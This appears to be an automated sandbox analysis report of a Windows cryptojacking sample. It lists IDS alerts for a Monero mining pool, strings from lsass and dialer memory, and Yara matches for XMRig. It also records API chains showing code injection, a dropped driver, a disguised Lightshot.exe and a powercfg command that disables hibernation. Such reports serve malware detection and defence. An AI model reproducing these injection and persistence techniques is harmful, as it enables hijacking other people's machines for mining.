ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese

Source: Network traffic	Suricata IDS: 2047928 - Severity 2 - ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) : 192.168.2.5:63299 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.5:49704 -> 141.94.96.71:80

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: pool.supportxmr.com

Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3286173867.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://3csp.icrosof4m/ocp0
Source: lsass.exe, 00000027.00000002.3285141600.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRoot
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3285141600.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 00000027.00000002.3285471454.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3286799841.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076618442.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2496096162.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000027.00000000.2076187605.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2226134775.00000140AD8C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3285141600.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: Lightshot.exe, 00000024.00000003.2104682850.000001E0A9560000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: Lightshot.exe, 00000024.00000003.2104682850.000001E0A9560000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: Lightshot.exe, 00000024.00000003.2104682850.000001E0A9560000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: Lightshot.exe, 00000024.00000003.2104682850.000001E0A9560000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3285141600.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 00000027.00000002.3285471454.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3286799841.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076618442.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2496096162.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000027.00000000.2076187605.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2226134775.00000140AD8C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 00000027.00000002.3286799841.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2496096162.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000027.00000002.3285471454.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3286799841.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076618442.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2496096162.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000027.00000000.2076187605.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2226134775.00000140AD8C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3285141600.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 00000027.00000000.2076187605.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3283620680.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000027.00000000.2076187605.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3283620680.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000027.00000000.2076104919.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3283163976.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3285471454.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3286799841.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076618442.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076187605.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3285141600.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2226134775.00000140AD8C0000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2496096162.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000027.00000002.3286799841.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2496096162.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3285141600.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3286799841.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000003.2496096162.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: lsass.exe, 00000027.00000000.2076104919.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3283163976.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000027.00000000.2076039842.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000027.00000002.3282908894.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 00000027.00000000.2076735630.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2077023394.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000002.3287070397.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076818301.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2076554645.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

System Summary

Malicious sample detected (through community Yara rule)

Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: dialer.exe PID: 4508, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\nW2oopMIdg.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB901394 NtSetSystemPowerState,	0_2_00007FF7EB901394
Source: C:\Windows\System32\dialer.exe	Code function: 25_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	25_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E8589828C8 NtEnumerateValueKey,NtEnumerateValueKey,	31_2_000001E8589828C8
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C81394 NtOpenKeyTransacted,	36_2_00007FF7B1C81394
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE86202C NtQuerySystemInformation,StrCmpNIW,	39_2_00000140AE86202C
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE86253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	39_2_00000140AE86253C
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA428C8 NtEnumerateValueKey,NtEnumerateValueKey,	41_2_000001160CA428C8
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	62_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001394 NtQueryInformationProcess,	64_2_0000000140001394

Source: C:\ProgramData\Screenshots\Lightshot.exe

File created: C:\Windows\TEMP\yycjbdwxjaoe.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_bzsopdsf.pqc.ps1

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB9065EC	0_2_00007FF7EB9065EC
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB9065EC	0_2_00007FF7EB9065EC
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB9065EC	0_2_00007FF7EB9065EC
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB9065EC	0_2_00007FF7EB9065EC
Source: C:\Windows\System32\dialer.exe	Code function: 25_2_000000014000226C	25_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 25_2_00000001400014D8	25_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 25_2_0000000140002560	25_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E858951F2C	31_2_000001E858951F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E8589638A8	31_2_000001E8589638A8
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E85895D0E0	31_2_000001E85895D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E858982B2C	31_2_000001E858982B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E8589944A8	31_2_000001E8589944A8
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E85898DCE0	31_2_000001E85898DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E8589B1F2C	31_2_000001E8589B1F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E8589C38A8	31_2_000001E8589C38A8
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E8589BD0E0	31_2_000001E8589BD0E0
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C865EC	36_2_00007FF7B1C865EC
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C865EC	36_2_00007FF7B1C865EC
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C865EC	36_2_00007FF7B1C865EC
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C865EC	36_2_00007FF7B1C865EC
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140ADFC1F2C	39_2_00000140ADFC1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140ADFCD0E0	39_2_00000140ADFCD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140ADFD38A8	39_2_00000140ADFD38A8
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE86DCE0	39_2_00000140AE86DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE8744A8	39_2_00000140AE8744A8
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE862B2C	39_2_00000140AE862B2C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD59D0E0	40_2_00000195DD59D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5A38A8	40_2_00000195DD5A38A8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD591F2C	40_2_00000195DD591F2C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CDCE0	40_2_00000195DD5CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5D44A8	40_2_00000195DD5D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5C2B2C	40_2_00000195DD5C2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA11F2C	41_2_000001160CA11F2C
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA1D0E0	41_2_000001160CA1D0E0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA238A8	41_2_000001160CA238A8
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA42B2C	41_2_000001160CA42B2C
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA4DCE0	41_2_000001160CA4DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA544A8	41_2_000001160CA544A8
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_000000014000226C	62_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_00000001400014D8	62_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_0000000140002560	62_2_0000000140002560
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140003150	64_2_0000000140003150
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_00000001400026E0	64_2_00000001400026E0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10838A8	66_2_00000257E10838A8
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E107D0E0	66_2_00000257E107D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E1071F2C	66_2_00000257E1071F2C
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10B44A8	66_2_00000257E10B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10ADCE0	66_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10A2B2C	66_2_00000257E10A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1E38A8	67_2_000001F28C1E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1DD0E0	67_2_000001F28C1DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1D1F2C	67_2_000001F28C1D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C9444A8	67_2_000001F28C9444A8
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93DCE0	67_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C932B2C	67_2_000001F28C932B2C
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FD1F2C	68_2_000001CA97FD1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FDD0E0	68_2_000001CA97FDD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FE38A8	68_2_000001CA97FE38A8
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA98542B2C	68_2_000001CA98542B2C
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854DCE0	68_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA985544A8	68_2_000001CA985544A8
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652F38A8	69_2_000001D2652F38A8
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652ED0E0	69_2_000001D2652ED0E0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652E1F2C	69_2_000001D2652E1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2653244A8	69_2_000001D2653244A8
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531DCE0	69_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26532AEC2	69_2_000001D26532AEC2
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D265312B2C	69_2_000001D265312B2C

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\yycjbdwxjaoe.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: String function: 00007FF7B1C81394 appears 33 times
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: String function: 00007FF7EB901394 appears 33 times

Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
